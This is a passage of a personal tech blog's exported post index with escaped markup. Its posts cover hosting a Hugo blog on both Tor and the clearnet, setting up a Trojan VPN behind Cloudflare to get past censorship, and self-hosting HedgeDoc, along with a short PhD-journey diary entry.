check (do remote DNS via SOCKS):\ncurl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://$(sudo cat /var/lib/tor/hidden_site/hostname)\u0026#34; 2) Nginx for the onion (localhost-only) I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.\n/etc/nginx/sites-available/onion-blog:\nserver { listen 127.0.0.1:3301 default_server; server_name \u0026lt;your-56-char\u0026gt;.onion 127.0.0.1 localhost; # keep onion simple; no HSTS/redirects here add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; # (optional) strict CSP so nothing leaks to clearnet # add_header Content-Security-Policy \u0026#34;default-src \u0026#39;self\u0026#39;; img-src \u0026#39;self\u0026#39; data:; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; script-src \u0026#39;self\u0026#39;\u0026#34; always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Enable/reload:\nsudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \\.onion$ (note the space after ~*).\n3) Hugo + PaperMod setup (and version bumps) PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).\n# install Hugo extended (example) VER=0.146.0 cd /tmp wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz sudo mv hugo /usr/local/bin/hugo hugo version # should say \u0026#34;extended\u0026#34; and \u0026gt;= 0.146.0 Create the site and theme:\nsudo mkdir -p /srv/hugo \u0026amp;\u0026amp; sudo chown -R \u0026#34;$USER\u0026#34;:\u0026#34;$USER\u0026#34; /srv/hugo cd /srv/hugo hugo new site mysite cd mysite git init git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod Config updates: in newer Hugo, paginate is deprecated → use:\n# config/_default/hugo.toml title = \u0026#34;My Blog\u0026#34; theme = \u0026#34;PaperMod\u0026#34; enableRobotsTXT = true [pagination] pagerSize = 10 [params] defaultTheme = \u0026#34;auto\u0026#34; showReadingTime = true showPostNavLinks = true showBreadCrumbs = true showCodeCopyButtons = true I added per-environment overrides so I can build two outputs with different baseURLs:\n# config/clearnet/hugo.toml baseURL = \u0026#34;https://blog.alipourimjourneys.ir/\u0026#34; # config/onion/hugo.toml baseURL = \u0026#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u0026#34; 4) Dual builds (clearnet + onion) and one-command deploy I publish the same content twice—once for each base URL and docroot:\ncd /srv/hugo/mysite # clearnet build (served over HTTPS) hugo --minify --environment clearnet -d public-clearnet # onion build (served via Tor) hugo --minify --environment onion -d public-onion sudo systemctl reload nginx Helper script I use:\nsudo tee /usr/local/bin/build-both \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail cd /srv/hugo/mysite hugo --minify --environment clearnet -d public-clearnet hugo --minify --environment onion -d public-onion sudo systemctl reload nginx echo \u0026#34;Deployed both at $(date)\u0026#34; EOF sudo chmod +x /usr/local/bin/build-both While editing, I sometimes auto-rebuild on file save:\nsudo apt install -y entr cd /srv/hugo/mysite find content layouts assets static config -type f | entr -r build-both 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):\nsudo snap install --classic certbot sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:\n/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem Clearnet Nginx vhosts:\n# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) server { listen 80; listen [::]:80; server_name blog.alipourimjourneys.ir; return 301 https://blog.alipourimjourneys.ir$request_uri; } # HTTPS origin (behind Cloudflare) server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name blog.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; # HSTS on clearnet only add_header Strict-Transport-Security \u0026#34;max-age=31536000; includeSubDomains; preload\u0026#34; always; # Help Tor Browser discover the onion mirror (safe on clearnet) add_header Onion-Location \u0026#34;http://\u0026lt;your-56-char\u0026gt;.onion$request_uri\u0026#34; always; root /srv/hugo/mysite/public-clearnet; index index.html; location / { try_files $uri $uri/ /index.html; } } Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.\n6) Troubleshooting I ran into (and fixes) Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor. Permissions: HiddenServiceDir must be owned by debian-tor and mode 700. Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://\u0026lt;onion\u0026gt;/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://\u0026lt;onion\u0026gt;:3301/. Curl \u0026amp; .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: curl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://\u0026lt;onion\u0026gt;/\u0026#34; Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server). Regex in server_name: if you use it, write server_name ~* \\.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space. PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate → [pagination].pagerSize. Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin. 7) “Not secure” in Tor Browser? That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).\n8) Day-to-day workflow Create content: hugo new posts/my-first-post.md # then set draft: false Publish both: build-both (Optional) Auto on save: find content layouts assets static config -type f | entr -r build-both (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both. Final notes Clearnet gets HTTPS + HSTS and an Onion-Location header. Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content. Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba\u0026#43;znAc1rCWJuzwHe2Ih0aYsq7d DMWRkpE9YTfQl/kSYpzlk96KCKv\u0026#43;6lHQXqcPyq\u0026#43;nQTDl/D7iCaOhb8Dog3W/2qN4 6G05f47EoiOJY\u0026#43;G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD\u0026#43;x4y4 UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo FwGfnomCwVwd5GpaP7LQdtP/a\u0026#43;x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm slRx0\u0026#43;P27gH\u0026#43;CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC\u0026#43;rZnHXPCdbsZ TTiwtJ/jLLbX\u0026#43;NfycW9qR6gVxloO35QA90AY7050tOgAsyH\u0026#43;YUn\u0026#43;Rtj2KVj91E0o VzljG7RAly7yTe\u0026#43;yxzC6OO\u0026#43;iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/ OrTnJ8fJqq\u0026#43;XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ N6VbRTRfq2Vnp\u0026#43;A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8 700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM= =QlNw -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR — The site is built once (Hugo project), \u003cstrong\u003epublished twice\u003c/strong\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOnion\u003c/strong\u003e: \u003ccode\u003ehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u003c/code\u003e via Tor, no TLS/HSTS, bound to \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearnet\u003c/strong\u003e: \u003ccode\u003ehttps://blog.alipourimjourneys.ir\u003c/code\u003e behind Cloudflare, Let’s Encrypt cert, \u003ccode\u003eOnion-Location\u003c/code\u003e header pointing to the onion mirror.\u003c/li\u003e\n\u003c/ul\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-tor-hidden-service-onion-basics\"\u003e1) Tor hidden service (onion) basics\u003c/h2\u003e\n\u003cp\u003eI used Tor’s v3 onion services and mapped onion port 80 → my local web server on \u003ccode\u003e127.0.0.1:3301\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInstall \u0026amp; configure Tor (Debian/Ubuntu):\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e sudo apt install -y tor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudoedit /etc/tor/torrc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdd:\u003c/p\u003e","title":"Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod"},{"content":"Introduction So you want a VPN that doesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo; to every censor and firewall out there?\nWelcome to the world of Trojan over WebSocket + TLS behind Cloudflare.\nThis guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).\nWe’ll anonymise domains and secrets, so substitute with your own:\nVPN domain: web.example.com Panel domain: panel.example.com Secret WS path: /stealth-path_abcd1234 Password: \u0026lt;PASSWORD\u0026gt; Architecture at a Glance Think of it as a disguise party:\nTrojan = the shy guest (your VPN protocol) Nginx = the bouncer checking IDs (reverse proxy) Cloudflare = the doorman who makes sure nobody sees who\u0026rsquo;s inside (CDN \u0026amp; proxy) Your fake website = the mask (camouflage page) Traffic flow:\nClient → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) Step 1: Panel Setup (panel.example.com) Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309). Choose a funky web base path like /panel-bananas_42/. Proxy it through Nginx with HTTPS + Basic Auth. Test it at https://panel.example.com/panel-bananas_42/. Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!\nStep 2: Trojan Inbound In 3x-ui, create a Trojan inbound:\nLocal port: 54321 Transport: WebSocket Path: /stealth-path_abcd1234 Security: none Password: \u0026lt;PASSWORD\u0026gt; Step 3: Nginx for VPN Domain (web.example.com) Your Nginx is the gatekeeper. Sample config:\nserver { listen 443 ssl http2; server_name web.example.com; ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; # Fake website at root location / { root /var/www/html; index index.html; } # Real VPN under secret WS path location /stealth-path_abcd1234 { proxy_pass http://127.0.0.1:54321; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; } } Step 4: Firewall Rules Lock things down! Only Cloudflare should reach you:\nufw allow 22/tcp ufw allow 80/tcp ufw allow 443/tcp ufw deny 54321/tcp Step 5: Client Config Trojan URI:\ntrojan://\u0026lt;PASSWORD\u0026gt;@web.example.com:443?type=ws\u0026amp;security=tls\u0026amp;host=web.example.com\u0026amp;path=%2Fstealth-path_abcd1234\u0026amp;sni=web.example.com#MyStealthVPN iOS clients: Shadowrocket, Stash, FoXray\nAndroid clients: v2rayNG, Clash Meta, NekoBox\nDebugging Time (a.k.a. “Why the heck doesn’t it work?!”) Symptom: 520 Unknown Error (Cloudflare) Likely cause: Nginx couldn’t talk to Trojan. Check Nginx error log: tail -n 50 /var/log/nginx/error.log If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan. Symptom: 526 Invalid SSL certificate Cloudflare → Nginx cert mismatch. Run: openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts Make sure CN = web.example.com. If not, fix your cert. Symptom: Blank page on panel Check if the base path matches exactly (case-sensitive, slash-sensitive). Watch for sneaky trailing spaces! Test locally: curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ Symptom: Client won’t connect Run a WebSocket test: curl -i -k -H \u0026#34;Connection: Upgrade\u0026#34; -H \u0026#34;Upgrade: websocket\u0026#34; https://web.example.com/stealth-path_abcd1234 Expect 101 Switching Protocols. If not, check Nginx config. Symptom: Censor still blocks you Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?\n→ They’ll find your origin IP. Use a second VPS or lock those ports down. Did you use an obvious path like /ws?\n→ Use a random-looking one like /cdn-assets-329df/. Pro Tips \u0026amp; Fun Tricks Serve a fake blog or portfolio at root so your domain looks legit. Rotate WebSocket paths occasionally. Use Cloudflare Page Rules to disable Rocket Loader \u0026amp; Minify for your VPN domain. Make friends with your Nginx error.log — it will roast you but it tells the truth. Conclusion By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:\nLooks like normal HTTPS. Hides your origin IP. Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. Congrats — you’ve built a VPN with both style and stealth. 🥷\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD 9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l jFsQFzNxcgOXKKWevuRtL5MY8RuC\u0026#43;PbsfG2ry2jiOtJa9H2UixVJ5E8Imj\u0026#43;VS47O S3XAlxr85O9CEh/TFkS/TuY5P5\u0026#43;VPoOLn6WfdCH5W2IdkW\u0026#43;Vi3bZFJ46LBm6cNBh Iydo\u0026#43;r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl 5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA\u0026#43;38RGmRNFgtR0mhMdtKNt QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0\u0026#43;CD\u0026#43;M1kQILC E8pXSfGhaG2bFCzQ\u0026#43;BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr\u0026#43;ql32hsQMQHZtho1nx5HEGCoCWG 3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y= =IovZ -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc gpg --verify vpn.md.asc vpn.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/","summary":"\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eSo you want a VPN that \u003cstrong\u003edoesn\u0026rsquo;t scream \u0026ldquo;I am a VPN\u0026rdquo;\u003c/strong\u003e to every censor and firewall out there?\u003cbr\u003e\nWelcome to the world of \u003cstrong\u003eTrojan over WebSocket + TLS behind Cloudflare\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eThis guide not only shows you how to set it up but also sprinkles in some \u003cstrong\u003edebugging magic\u003c/strong\u003e so you can figure out why things break (and they \u003cem\u003ewill\u003c/em\u003e break, trust me).\u003c/p\u003e\n\u003cp\u003eWe’ll anonymise domains and secrets, so substitute with your own:\u003c/p\u003e","title":"Stealth Trojan VPN Behind Cloudflare Guide"},{"content":"This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life!\nOverall not the most productive month, but one reason for it is that I have\u0026rsquo;t really had a real vacation in a long time. I will be taking a 10 day vacation next month just to reset, and gain back my power. I cross my fingers for the month ahead!\nMy social life has been becoming better too. I\u0026rsquo;ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! My depression is a serious issue. I also have anxiety disorder that I\u0026rsquo;m talking with my therapist about. I will most likely start taking SSRIs once again. Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. I\u0026rsquo;m really glad I was able to recover, though it was not easy at all, it did work out.\nI do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. Things will workout!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM jSqiRBAAv6TLJK\u0026#43;7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks lyF1tiik69ZuDqToAj9buwiIG\u0026#43;fll/nLElWP\u0026#43;DVSpDrHh86tEtQFlf9inf8DYXGK 3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH\u0026#43;IMTNJuWUtIBXbSEy1K SYcl4coVXJwDOPLj\u0026#43;huKrBQoScmUSPYow5KELzQOOLK\u0026#43;HG6M9vXSq3\u0026#43;hDUiWx4MT OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1 VFNy\u0026#43;IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi rEt3baTm874Jo4PSZjToL7\u0026#43;6VpbvlzFz57G/1WmmX1jSr\u0026#43;\u0026#43;L7Cncyz2Oo6H\u0026#43;Bpw9 Ax2JFZz760sxs978Y2fno5o5rkVKEt\u0026#43;GgLA\u0026#43;WkSb0NCq/r67wEhMR5/i4oBTOHmC OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb\u0026#43;VYlhFbju0IhhArZYqc4vuieC 5CQIbWuYoPIpvf0XCQHHABJF\u0026#43;zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3\u0026#43;AtIvQjDwKigco7f3wgY= =vvS6 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/Augest_2025.md.asc gpg --verify Augest_2025.md.asc Augest_2025.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/","summary":"\u003cp\u003eThis month started with me setting up a deadline for Conext student workshop.\nI wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it.\nI also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT.\nThis darn thing wasted so much of my time!\nI did learn a bit along the way, but oh well.\nSuch is life!\u003c/p\u003e","title":"Augest '25"},{"content":"HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\nPrerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc \u0026amp;\u0026amp; cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with:\nopenssl rand -base64 32 3. Create docker-compose.yml version: \u0026#34;3.9\u0026#34; services: db: image: postgres:16 environment: POSTGRES_USER: hedgedoc POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} POSTGRES_DB: hedgedoc volumes: - db:/var/lib/postgresql/data restart: unless-stopped hedgedoc: image: quay.io/hedgedoc/hedgedoc:1.10.2 depends_on: - db environment: CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc CMD_DOMAIN: ${HD_DOMAIN} CMD_PROTOCOL_USESSL: \u0026#34;true\u0026#34; CMD_URL_ADDPORT: \u0026#34;false\u0026#34; CMD_PORT: \u0026#34;3000\u0026#34; CMD_EMAIL: \u0026#34;true\u0026#34; CMD_ALLOW_EMAIL_REGISTER: \u0026#34;false\u0026#34; volumes: - uploads:/hedgedoc/public/uploads ports: - \u0026#34;127.0.0.1:3000:3000\u0026#34; restart: unless-stopped volumes: db: uploads: Bring it up:\ndocker compose up -d 4. Get a Let’s Encrypt certificate Request a cert with a DNS challenge:\nsudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email Add the TXT record certbot asks for, wait for DNS to propagate, then continue.\nCertificates will be in:\n/etc/letsencrypt/live/notes.alipourimjourneys.ir/ 5. Configure Nginx Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:\nserver { server_name notes.alipourimjourneys.ir; listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { server_name notes.alipourimjourneys.ir; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } Enable the config and reload Nginx:\nsudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 6. Create users Because we disabled self-registration, create accounts manually:\ndocker compose exec hedgedoc ./bin/manage_users --add alice@example.com You’ll be prompted for a password.\nTo reset a password later:\ndocker compose exec hedgedoc ./bin/manage_users --reset alice@example.com 7. Done! Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉\nExtras:\nBackups: dump the PostgreSQL database and save the uploads volume. Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest \u0026amp;\u0026amp; docker compose up -d. Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM jSrPHA//WlMEZx1k/aGx3zau\u0026#43;wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0\u0026#43;26w AGav2jBuChLYsDx\u0026#43;O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2\u0026#43;6RVtuthGUEV\u0026#43; QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj\u0026#43;Alur2Ji/gcGZlSArBnIoJQoK5L\u0026#43;r UZLJsQ\u0026#43;LrqCJp4i\u0026#43;GkkX05si2srSTjawBu\u0026#43;ssHf\u0026#43;uwPg0Q6AMTbubrGiHrMMtMbM 4PCFtS8vD/ZBVkVpSBybyXdMxQU\u0026#43;y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/ sBGHLThq9nZEXmMT2oQa1wi\u0026#43;CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU 5B9SwVtNqIzm7eoAbwckU3h\u0026#43;TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS\u0026#43;SF74jPkDjtc4EFuKB QrMTBm/\u0026#43;Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk aG3wFuWH4d9UFohK\u0026#43;MJIHqYk1\u0026#43;TbZJm3bnds8pOqniIZ7M5PcEg= =uf5y -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hedge_doc.md.asc gpg --verify hedge_doc.md.asc hedge_doc.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/","summary":"\u003cp\u003eHedgeDoc is an open-source collaborative Markdown editor. Think \u003cem\u003eGoogle Docs for Markdown\u003c/em\u003e: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA Linux server with \u003cstrong\u003eDocker\u003c/strong\u003e and \u003cstrong\u003eDocker Compose\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA domain name pointing to your server (e.g. \u003ccode\u003enotes.alipourimjourneys.ir\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx\u003c/strong\u003e installed for reverse proxying\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCertbot\u003c/strong\u003e for Let’s Encrypt certificates\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-create-the-project-directory\"\u003e1. Create the project directory\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir ~/hedgedoc \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e cd ~/hedgedoc\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003chr\u003e\n\u003ch2 id=\"2-create-env\"\u003e2. Create \u003ccode\u003e.env\u003c/code\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 